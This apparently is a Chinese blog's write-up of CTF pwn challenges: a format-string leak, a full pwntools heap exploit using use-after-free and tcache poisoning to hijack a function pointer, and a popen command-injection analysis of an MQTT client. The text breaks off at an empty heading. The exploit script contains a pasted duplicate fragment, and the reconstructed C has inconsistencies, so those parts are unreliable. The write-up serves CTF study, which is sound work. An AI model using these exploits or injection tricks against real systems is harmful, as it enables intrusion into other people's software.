Stack on RatherHard の Blog

Polaris-2026-pwn 题解

Wed, 22 Apr 2026 18:04:00 +0000

ez-nc

攻击思路

盲打，发现有格式化字符串漏洞，提示下载 ez-nc ，但是单文件名上限为 7 ，且禁止明文出现 “ez-nc”。因此考虑利用栈上的环境变量来下载 ez-nc 。

exp

输入 %99$s 后把文件 dump 下来反编译即可发现明文 flag

ezheap

ez 在哪了，，，

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/PolarisCTF/ezheap/inference_forge'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 FORTIFY: Enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

去符号化，还是 C++ 逆向，，，还要还原结构体，，，

难点全在逆向上了

逆向结果：

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353


#include <iostream>
#include <cstring>

#define __int64 long long
#define uint32_t unsigned int
#define uint64_t unsigned long long
#define uint8_t unsigned char

struct session_handle // sizeof=0x50
{
 uint32_t slot_id;
 uint32_t payload_size;
 char *payload;
 char alias[32];
 uint64_t generation;
 void (*postproc)(session_handle *);
 uint64_t pad[2];
};

struct scheduler_ctrl // sizeof=0x48
{
 uint64_t magic_iforge;
 union {
 struct {
 uint8_t strict_policy;
 uint8_t healthy;
 };
 uint64_t task_list[8];
 };
};

struct task_descriptor // sizeof=0x50
{
 uint64_t task_id;
 uint64_t arg0;
 uint64_t pad10;
 void *handler; // alias[8:16]
 void *ctx;
 char tag[0x28];
};

struct worker_profile // sizeof=0x50
{
 uint64_t cpu_quota;
 uint64_t mem_quota;
 uint64_t io_weight;
 uint64_t latency_slo;
 uint64_t replicas;
 char memo[32];
 uint64_t region_code;
};

struct runtime_state // sizeof=0x190
{
 uint32_t artifact_items;
 uint32_t artifact_stride;
 uint32_t artifact_alloc_bytes;
 uint32_t pad;
 uint64_t artifact_declared_bytes;
 void *artifact_arena;
 scheduler_ctrl *scheduler;
 task_descriptor *task_desc[8];
 session_handle *sessions[16];
 uint64_t session_generation[16];
 uint8_t session_active[16];
 worker_profile **worker_profiles_begin;
 worker_profile **worker_profiles_end;
 worker_profile **worker_profiles_cap;
 worker_profile **worker_profiles_cap;
};

void session_postproc_xor_stride();
void audit_flag_snapshot();
void session_postproc_clamp_negative_bytes();
void session_postproc_shift_right();
void task_handler_echo_descriptor();
void task_handler_mul3();
void task_handler_xor_cookie();
void worker_vector_realloc_insert(worker_profile **begin, worker_profile **end, worker_profile *new_element);


// 3
__int64 bootstrap_scheduler(runtime_state *state)
{
 if ( state->scheduler )
 {
 std::cout << "scheduler already bootstrapped" << std::endl;
 return 0;
 }
 state->scheduler = (scheduler_ctrl *)malloc(0x38u);
 if ( state->scheduler )
 {
 state->scheduler->magic_iforge = 'IFORGE';
 *(_OWORD *)(v10 + 26) = 0;
 *((_WORD *)v10 + 4) = 257;
 *(_OWORD *)(v10 + 10) = 0;
 *(_OWORD *)(v10 + 40) = 0;
 int i = 0;
 while ( 1 )
 {
 task_descriptor *task_desc = (task_descriptor *)malloc(0x50u);
 if ( !task_desc )
 break;
 void *func;
 if ( i % 3 == 0 )
 func = task_handler_echo_descriptor;
 if ( i % 3 == 1 )
 func = task_handler_xor_cookie;
 if ( i % 3 == 2 )
 func = task_handler_mul3;
 task_desc->handler = func;
 task_desc->task_id = i;
 task_desc->arg0 = i + 1;
 task_desc->ctx = task_desc;
 snprintf(task_desc->tag, 32, "sqe-%zu", i);
 state->task_desc[i] = task_desc;
 *((_QWORD *)&state->scheduler + v17) = v16;
 if ( i == 7 )
 {
 std::cout << "scheduler bootstrap complete, strict_policy=on" << std::endl;
 return 0;
 }
 ++i;
 }
 std::cout << "task descriptor allocation failed" << std::endl;
 }
}

// 4
unsigned __int64 inspect_scheduler_queue(runtime_state *state)
{
 if ( state->scheduler )
 {
 std::cout << "queue_ctrl=" << &state->scheduler 
 << " strict_policy=" << state->scheduler->strict_policy 
 << " healthy=" << state->scheduler->healthy << std::endl;
 for ( int i = 0; i != 8; ++i )
 {
 std::cout << "[task " << i << "] desc=" << &state->task_desc[i] 
 << " handler=" << &state->task_desc[i]->handler 
 << " ctx=" << &state->task_desc[i]->ctx 
 << " tag='" << state->task_desc[i]->tag << "'" << std::endl;
 }
 }
 else
 {
 std::cout << "scheduler offline" << std::endl;
 }
 return 0;
}

// 5
unsigned __int64 allocate_session_tensor(runtime_state *state)
{
 int slot, tensor_bytes, alias;
 std::cout << "session.slot(0-15)> ";
 std::cin >> slot;
 std::cout << "session.tensor_bytes> ";
 std::cin >> tensor_bytes;
 std::cout << "session.alias> ";
 std::cin >> alias;
 if ( (unsigned int)slot <= 0xF )
 {
 session_handle *session = (session_handle *)malloc(0x50u);
 session->slot_id = slot;
 session->payload_size = tensor_bytes;
 session->payload = (char *)malloc(tensor_bytes);
 if ( session->payload )
 {
 memset((void *)session->payload, 65, tensor_bytes);
 snprintf(session->alias, 32, "%s", (const char *)alias);
 v16 = (char *)state + 8 * slot;
 v17 = *((_QWORD *)v16 + 29);
 *((_QWORD *)v16 + 13) = session;
 *((_QWORD *)v16 + 29) = ++v17;
 session->generation = v17;
 session->postproc = (void (*)(session_handle *))session_postproc_xor_stride;
 state->session_active[slot] = 1;
 std::cout << "session tensor ready slot=" << slot
 << " handle=" << &session 
 << " payload=" << &session->payload 
 << " postproc=" << &session->postproc << std::endl;
 }
 else
 {
 std::cout << "session tensor allocation failed" << std::endl;
 }
 }
 else
 std::cout << "session tensor request invalid" << std::endl;
 return 0;
}

// 6
unsigned __int64 complete_batch_inference(runtime_state *state)
{
 __int64 slot;

 std::cout << "ssession.slot> ";
 std::cin >> slot;

 if ( (unsigned int)slot > 0xF )
 {
 std::cout << "session slot invalid" << std::endl;
 return 0;
 }
 if ( !state->session_active[slot] )
 {
 std::cout << "session slot not active" << std::endl;
 return 0;
 }
 if ( !state->sessions[slot] )
 {
 std::cout << "session slot empty" << std::endl;
 return 0;
 }

 if ( state->sessions[slot]->payload )
 {
 if ( state->sessions[slot]->payload_size >= 2 )
 for ( int i = 1; i <= state->sessions[slot]->payload_size; i++)
 state->sessions[slot]->payload[i] ^= (13 * i);
 free(state->sessions[slot]->payload);
 }

 if ( (void (*)())state->sessions[slot]->postproc != session_postproc_clamp_negative_bytes
 && (void (*)())state->sessions[slot]->postproc != session_postproc_xor_stride
 && (void (*)())state->sessions[slot]->postproc != session_postproc_shift_right
 && state->sessions[slot]->postproc )
 {
 std::cout << "postproc profile invalid, fallback to default pipeline" << std::endl;
 state->sessions[slot]->postproc = (void (*)(session_handle *))session_postproc_xor_stride;
 }
 if ( state->sessions[slot]->postproc )
 state->sessions[slot]->postproc(state->sessions[slot]);

 operator delete(state->sessions[slot], 0x50u);
 state->session_active[slot] = 0;
 std::cout << "batch inference finalized, session recycled" << std::endl;
 return 0;
}

// 7
unsigned __int64 patch_session_metadata(runtime_state *state)
{
 int slot, qword_index, qword_value;
 std::cout << "diag.session.slot> ";
 std::cin >> slot;
 std::cout << "diag.qword_index> ";
 std::cin >> qword_index;
 std::cout << "diag.qword_value(u64)> ";
 std::cin >> qword_value;
 
 if ( slot <= 0xFu )
 {
 if ( !state->sessions[slot] )
 {
 std::cout << "session handle missing" << std::endl;
 return 0;
 }
 if ( state->session_active[slot] )
 std::cout << "diagnostic patch requires recycled session context" << std::endl;
 else
 {
 if ( !qword_index )
 {
 state->sessions[slot]->slot_id = qword_value; // tcache poisoning
 std::cout << "diagnostic patch applied at " << &state->sessions[slot] << std::endl;
 return 0;
 }
 std::cout << "diagnostic offset policy allows qword_index=0 only" << std::endl;
 }
 }
 else
 std::cout << "diagnostic patch args invalid" << std::endl;
 return 0;
}

// 8
unsigned __int64 provision_worker_profile(runtime_state *state)
{
 if ( (char *)state->worker_profiles_end - (char *)state->worker_profiles_begin <= 0x1f8 )
 {
 worker_profile *worker = (worker_profile *)malloc(0x50u);
 std::cout << "worker.cpu_quota> ";
 std::cin >> worker->cpu_quota;
 std::cout << "worker.mem_quota> ";
 std::cin >> worker->mem_quota;
 std::cout << "worker.io_weight> ";
 std::cin >> worker->io_weight;
 std::cout << "worker.latency_slo> ";
 std::cin >> worker->latency_slo;
 std::cout << "worker.replicas> ";
 std::cin >> worker->replicas;
 std::cout << "worker.region_code> ";
 std::cin >> worker->region_code;
 std::cout << "worker.memo> ";
 std::cin >> worker->memo;
 snprintf(worker->memo, 0x20u, "%s", worker->memo);
 if ( state->worker_profiles_end == state->worker_profiles_cap )
 {
 worker_vector_realloc_insert(state->worker_profiles_begin, state->worker_profiles_end, worker);
 }
 else
 {
 *state->worker_profiles_end = (worker_profile *)worker;
 state->worker_profiles_end = state->worker_profiles_end + 1;
 }
 std::cout << "worker profile provisioned handle=" << &worker 
 << " index=" << state->worker_profiles_end - state->worker_profiles_begin - 1 << std::endl;
 return 0;
 }
 std::cout << "autoscaler capacity reached" << std::endl;
 return 0;
}

// 9
unsigned __int64 dispatch_async_task(runtime_state *state)
{
 int task_id;
 
 if ( state->scheduler )
 {
 std::cout << "queue.task_id> ";
 std::cin >> task_id;
 if ( (unsigned int)task_id <= 7 )
 {
 if ( state->task_desc[task_id] && state->task_desc[task_id]->handler)
 {
 if ( state->task_desc[task_id]->handler == task_handler_xor_cookie
 || state->task_desc[task_id]->handler == task_handler_echo_descriptor
 || state->scheduler->strict_policy == 0
 || state->task_desc[task_id]->handler == task_handler_mul3 )
 {
 ((void (*)(void *))state->task_desc[task_id]->handler)(state->task_desc[task_id]->ctx);
 return 0;
 }
 std::cout << "policy engine blocked non-whitelisted handler" << std::endl;
 }
 else
 {
 std::cout << "task descriptor unavailable" << std::endl;
 }
 }
 else
 {
 std::cout << "task id invalid" << std::endl;
 }
 return 0;
 }
 std::cout << "scheduler offline" << std::endl;
 return 0;
}

好复杂的菜单题，，，

攻击思路

bootstrap_scheduler 用于初始化堆结构

inspect_scheduler_queue 把需要 leak 的数据送到嘴边

complete_batch_inference 函数有明显的 UAF 漏洞，对象为 state->sessions[slot]

patch_session_metadata 为 UAF 和 tcache poisoning 创造了极为有利的条件，可以说是刻意设计的

provision_worker_profile 允许通过结构体重叠写入较多的数据

dispatch_async_task 有函数指针的执行，注意到程序中已经有针对 flag 的读取行为，所以可以利用 provision_worker_profile 劫持该函数指针去跳转

劫持函数指针之前需要将 strict_policy 设置为 0 ，而 provision_worker_profile 也可以做到这一点

综上分析，直接打 tcache poisoning 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = dict()
libcrealdict = dict()

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './inference_forge_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, val):
 return (pos >> 12) ^ val

def bootstrap_scheduler():
 sla(b'gateway> ', b'3')

def inspect_scheduler_queue():
 sla(b'gateway> ', b'4')

def allocate_session_tensor(slot, tensor_bytes, alias):
 sla(b'gateway> ', b'5')
 sla(b'session.slot(0-15)> ', str(slot).encode())
 sla(b'session.tensor_bytes> ', str(tensor_bytes).encode())
 sla(b'session.alias> ', alias)

def complete_batch_inference(slot):
 sla(b'gateway> ', b'6')
 sla(b'session.slot> ', str(slot).encode())

def patch_session_metadata(slot, qword_index, qword_value):
 sla(b'gateway> ', b'7')
 sla(b'diag.session.slot> ', str(slot).encode())
 sla(b'diag.qword_index> ', str(qword_index).encode())
 sla(b'diag.qword_value(u64)> ', str(qword_value).encode())

def provision_worker_profile(cpu_quota, mem_quota, io_weight, latency_slo, replicas, region_code, memo):
 sla(b'gateway> ', b'8')
 sla(b'worker.cpu_quota> ', str(cpu_quota).encode())
 sla(b'worker.mem_quota> ', str(mem_quota).encode())
 sla(b'worker.io_weight> ', str(io_weight).encode())
 sla(b'worker.latency_slo> ', str(latency_slo).encode())
 sla(b'worker.replicas> ', str(replicas).encode())
 sla(b'worker.region_code> ', str(region_code).encode())
 sla(b'worker.memo> ', memo)

def dispatch_async_task(task_id):
 sla(b'gateway> ', b'9')
 sla(b'queue.task_id> ', str(task_id).encode())

bootstrap_scheduler() # leak
inspect_scheduler_queue()
ru(b'[task:0] desc=')
heap_leak = int(r(14), 16) - 0x30560
leak('heap_leak')
ru(b'handler=')
pie_leak = int(r(14), 16) - 0x30a0
leak('pie_leak')

allocate_session_tensor(0, 3, p64(0)) # init
allocate_session_tensor(1, 3, p64(0))
allocate_session_tensor(2, 3, p64(0))
allocate_session_tensor(3, 3, p64(0))
allocate_session_tensor(4, 3, p64(0))
complete_batch_inference(1)
complete_batch_inference(2)
complete_batch_inference(3)
complete_batch_inference(4)

complete_batch_inference(0) # tcache poisoning, hijack strict_policy
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30510, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, 0, 0, 0, p64(0))
inspect_scheduler_queue()

complete_batch_inference(0) # tcache poisoning, hijack handler
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30560, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, pie_leak + 0x6750, 0, 0, p64(0))
inspect_scheduler_queue()

dispatch_async_task(0)
itr()

mini-mqtt

第一次写 mqtt 的题目

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


int __fastcall main(int argc, const char **argv, const char **envp)
{
 const char *mqtt_ip; // rax
 const char *v5; // [rsp+18h] [rbp-8h]

 if ( argc <= 1 )
 mqtt_ip = "tcp://localhost:9999";
 else
 mqtt_ip = argv[1];
 v5 = mqtt_ip;
 printf("Using server at %s\n", mqtt_ip);
 rc = MQTTClient_create(&client, v5, "httpclient", 1, 0);
 if ( rc )
 {
 printf("Failed to create client, return code %d\n", rc);
 rc = 1;
 }
 else
 {
 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);
 if ( rc )
 {
 printf("Failed to set callbacks, return code %d\n", rc);
 rc = 1;
 }
 else
 {
 dword_5028 = 20;
 dword_502C = 1;
 rc = MQTTClient_connect(client, conn_opts);
 if ( !rc )
 {
 MQTTClient_subscribe(client, "HTTP", 1);
 while ( 1 )
 {
 sleep(1u);
 msgsend("200");
 puts("waiting for message\n");
 }
 }
 printf("Failed to connect, return code %d\n", rc);
 rc = 1;
 }
 MQTTClient_destroy(&client);
 }
 return rc;
}

这是一个客户端程序，服务端呢？自己搭。

该客户端订阅了 “HTTP” topic

核心在 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);

其中 msgarrvd 函数是客户端收到 topic 后的响应

msgarrvd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
 __int64 v5; // [rsp+0h] [rbp-80h] BYREF
 int v6; // [rsp+Ch] [rbp-74h]
 const char *v7; // [rsp+10h] [rbp-70h]
 __int64 v8; // [rsp+18h] [rbp-68h]
 __int64 v9; // [rsp+28h] [rbp-58h]
 char s1[72]; // [rsp+30h] [rbp-50h] BYREF
 unsigned __int64 v11; // [rsp+78h] [rbp-8h]

 v8 = a1;
 v7 = a2;
 v6 = a3;
 v5 = a4;
 v11 = __readfsqword(0x28u);
 v9 = *(_QWORD *)(a4 + 16);
 if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1 && !strcmp(s1, "httpclient") )// {"clientid":"hacker"}
 {
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 return 1;
 }
 else
 {
 http(v9);
 puts("Message arrived");
 printf(" topic: %s\n", v7);
 printf(" message: %.*s\n", *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16));
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 return 1;
 }
}

由此可见，这道题目需要我们去构造恶意 topic 信息，让客户端在解析信息的过程中回弹 flag 的内容

这里还要求 clientid 不为 httpclient ，因为这是他自身的 id

然后就套了一层 http 的解析

http

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250


__int64 __fastcall http(const char *a1)
{
 size_t v2; // rax
 size_t v3; // rbx
 int v4; // [rsp+10h] [rbp-280h] BYREF
 int v5; // [rsp+14h] [rbp-27Ch]
 int i; // [rsp+18h] [rbp-278h]
 int v7; // [rsp+1Ch] [rbp-274h]
 FILE *stream; // [rsp+20h] [rbp-270h]
 char *v9; // [rsp+28h] [rbp-268h]
 char s1[8]; // [rsp+30h] [rbp-260h] BYREF
 __int64 v11; // [rsp+38h] [rbp-258h]
 __int64 v12; // [rsp+40h] [rbp-250h]
 __int64 v13; // [rsp+48h] [rbp-248h]
 __int64 v14; // [rsp+50h] [rbp-240h]
 __int64 v15; // [rsp+58h] [rbp-238h]
 __int64 v16; // [rsp+60h] [rbp-230h]
 __int64 v17; // [rsp+68h] [rbp-228h]
 char s[8]; // [rsp+70h] [rbp-220h] BYREF
 __int64 v19; // [rsp+78h] [rbp-218h]
 __int64 v20; // [rsp+80h] [rbp-210h]
 __int64 v21; // [rsp+88h] [rbp-208h]
 __int64 v22; // [rsp+90h] [rbp-200h]
 __int64 v23; // [rsp+98h] [rbp-1F8h]
 __int64 v24; // [rsp+A0h] [rbp-1F0h]
 __int64 v25; // [rsp+A8h] [rbp-1E8h]
 __int64 v26; // [rsp+B0h] [rbp-1E0h]
 __int64 v27; // [rsp+B8h] [rbp-1D8h]
 __int64 v28; // [rsp+C0h] [rbp-1D0h]
 __int64 v29; // [rsp+C8h] [rbp-1C8h]
 __int64 v30; // [rsp+D0h] [rbp-1C0h]
 __int64 v31; // [rsp+D8h] [rbp-1B8h]
 __int64 v32; // [rsp+E0h] [rbp-1B0h]
 __int64 v33; // [rsp+E8h] [rbp-1A8h]
 char src[8]; // [rsp+F0h] [rbp-1A0h] BYREF
 __int64 v35; // [rsp+F8h] [rbp-198h]
 __int64 v36; // [rsp+100h] [rbp-190h]
 __int64 v37; // [rsp+108h] [rbp-188h]
 __int64 v38; // [rsp+110h] [rbp-180h]
 __int64 v39; // [rsp+118h] [rbp-178h]
 __int64 v40; // [rsp+120h] [rbp-170h]
 __int64 v41; // [rsp+128h] [rbp-168h]
 __int64 v42; // [rsp+130h] [rbp-160h]
 __int64 v43; // [rsp+138h] [rbp-158h]
 __int64 v44; // [rsp+140h] [rbp-150h]
 __int64 v45; // [rsp+148h] [rbp-148h]
 __int64 v46; // [rsp+150h] [rbp-140h]
 __int64 v47; // [rsp+158h] [rbp-138h]
 __int64 v48; // [rsp+160h] [rbp-130h]
 __int64 v49; // [rsp+168h] [rbp-128h]
 char v50[8]; // [rsp+170h] [rbp-120h] BYREF
 __int64 v51; // [rsp+178h] [rbp-118h]
 __int64 v52; // [rsp+180h] [rbp-110h]
 __int64 v53; // [rsp+188h] [rbp-108h]
 __int64 v54; // [rsp+190h] [rbp-100h]
 __int64 v55; // [rsp+198h] [rbp-F8h]
 __int64 v56; // [rsp+1A0h] [rbp-F0h]
 __int64 v57; // [rsp+1A8h] [rbp-E8h]
 __int64 v58; // [rsp+1B0h] [rbp-E0h]
 __int64 v59; // [rsp+1B8h] [rbp-D8h]
 __int64 v60; // [rsp+1C0h] [rbp-D0h]
 __int64 v61; // [rsp+1C8h] [rbp-C8h]
 __int64 v62; // [rsp+1D0h] [rbp-C0h]
 __int64 v63; // [rsp+1D8h] [rbp-B8h]
 __int64 v64; // [rsp+1E0h] [rbp-B0h]
 __int64 v65; // [rsp+1E8h] [rbp-A8h]
 __int64 v66; // [rsp+1F0h] [rbp-A0h]
 __int64 v67; // [rsp+1F8h] [rbp-98h]
 __int64 v68; // [rsp+200h] [rbp-90h]
 __int64 v69; // [rsp+208h] [rbp-88h]
 __int64 v70; // [rsp+210h] [rbp-80h]
 __int64 v71; // [rsp+218h] [rbp-78h]
 __int64 v72; // [rsp+220h] [rbp-70h]
 __int64 v73; // [rsp+228h] [rbp-68h]
 __int64 v74; // [rsp+230h] [rbp-60h]
 __int64 v75; // [rsp+238h] [rbp-58h]
 __int64 v76; // [rsp+240h] [rbp-50h]
 __int64 v77; // [rsp+248h] [rbp-48h]
 __int64 v78; // [rsp+250h] [rbp-40h]
 __int64 v79; // [rsp+258h] [rbp-38h]
 __int64 v80; // [rsp+260h] [rbp-30h]
 __int64 v81; // [rsp+268h] [rbp-28h]
 unsigned __int64 v82; // [rsp+278h] [rbp-18h]

 v82 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 *(_QWORD *)s = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 *(_QWORD *)src = 0;
 v35 = 0;
 v36 = 0;
 v37 = 0;
 v38 = 0;
 v39 = 0;
 v40 = 0;
 v41 = 0;
 v42 = 0;
 v43 = 0;
 v44 = 0;
 v45 = 0;
 v46 = 0;
 v47 = 0;
 v48 = 0;
 v49 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v5 = 0;
 v7 = 0;
 stream = 0;
 *(_QWORD *)v50 = 0;
 v51 = 0;
 v52 = 0;
 v53 = 0;
 v54 = 0;
 v55 = 0;
 v56 = 0;
 v57 = 0;
 v58 = 0;
 v59 = 0;
 v60 = 0;
 v61 = 0;
 v62 = 0;
 v63 = 0;
 v64 = 0;
 v65 = 0;
 v66 = 0;
 v67 = 0;
 v68 = 0;
 v69 = 0;
 v70 = 0;
 v71 = 0;
 v72 = 0;
 v73 = 0;
 v74 = 0;
 v75 = 0;
 v76 = 0;
 v77 = 0;
 v78 = 0;
 v79 = 0;
 v80 = 0;
 v81 = 0;
 v4 = 0;
 if ( (unsigned int)__isoc99_sscanf(a1, "{\"clientid\":\"%63[^\"]\"", s1) == 1 && !strcmp(s1, "httpclient") )// no httpclient
 return 1;
 if ( (unsigned int)__isoc99_sscanf(a1, "GET /home/ctf/%63[^ \"\r\n/]", s) == 1 )
 {
 v5 = 1;
 }
 else if ( (unsigned int)__isoc99_sscanf(a1, "GET %*[^/]/ctf/%63[^ \"\r\n/]", s) == 1 )
 {
 v5 = 1;
 }
 else if ( (unsigned int)__isoc99_sscanf(a1, "GET %*s/ctf/\"%63[^\"]\"", s) == 1 )
 {
 v5 = 1;
 }
 else if ( strstr(a1, "/ctf/") )
 {
 v9 = strstr(a1, "/ctf/") + 5;
 __isoc99_sscanf(v9, "%63[^ \"\r\n/]", s);
 v5 = 1;
 }
 if ( v5 )
 {
 if ( (unsigned int)__isoc99_sscanf(a1, "GET %*s HTTP/1.1\r\nHost: %*s\r\nContentLength: %d\r\n", &v4) == 1 )
 {
 printf("find length: %d\n", v4);
 v2 = strlen(s);
 if ( v2 > v4 )
 {
 puts("file name length exceeds contentlength");
 return 0;
 }
 if ( v4 > 10 )
 {
 puts("contentlength too long");
 return 0;
 }
 }
 else
 {
 puts("ContentLength not found");
 v5 = 0;
 }
 for ( i = 0; ; ++i )
 {
 v3 = i;
 if ( v3 >= strlen(s) )
 break;
 if ( s[i] == '/' || s[i] == '.' )
 s[i] = '_';
 }
 snprintf(src, 0x80u, "cat /home/ctf/%s", s);
 v7 = strlen(src);
 memcpy(cmd, src, v7);
 if ( !strcmp(s, "index_html") ) // is index_html
 {
 if ( v5 )
 stream = popen(cmd, "r");
 if ( stream )
 {
 while ( fgets(v50, 255, stream) )
 {
 v50[strcspn(v50, "\n")] = 0;
 if ( v50[0] )
 {
 msgsend(v50);
 memset(v50, 0, 0x100u);
 }
 }
 pclose(stream);
 }
 else
 {
 msgsend("403");
 }
 return 1;
 }
 else
 {
 puts("fault2");
 return 0;
 }
 }
 else
 {
 puts("fault");
 puts("404");
 return 0;
 }
}

协议的格式就是正常 http 协议的格式

注意这一段：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 for ( i = 0; ; ++i )
 {
 v3 = i;
 if ( v3 >= strlen(s) )
 break;
 if ( s[i] == '/' || s[i] == '.' )
 s[i] = '_';
 }
 snprintf(src, 0x80u, "cat /home/ctf/%s", s);
 v7 = strlen(src);
 memcpy(cmd, src, v7);
 if ( !strcmp(s, "index_html") ) // is index_html
 {
 if ( v5 )
 stream = popen(cmd, "r");

src 中只能是 index_html 的格式，但发现校验的对象是 src ，而被执行的是 cmd ，且 cmd 在校验前已经赋值好，在校验失败后会残留，所以我们可以利用 shell 中 ‘;’ 的作用完成漏洞的利用

攻击思路

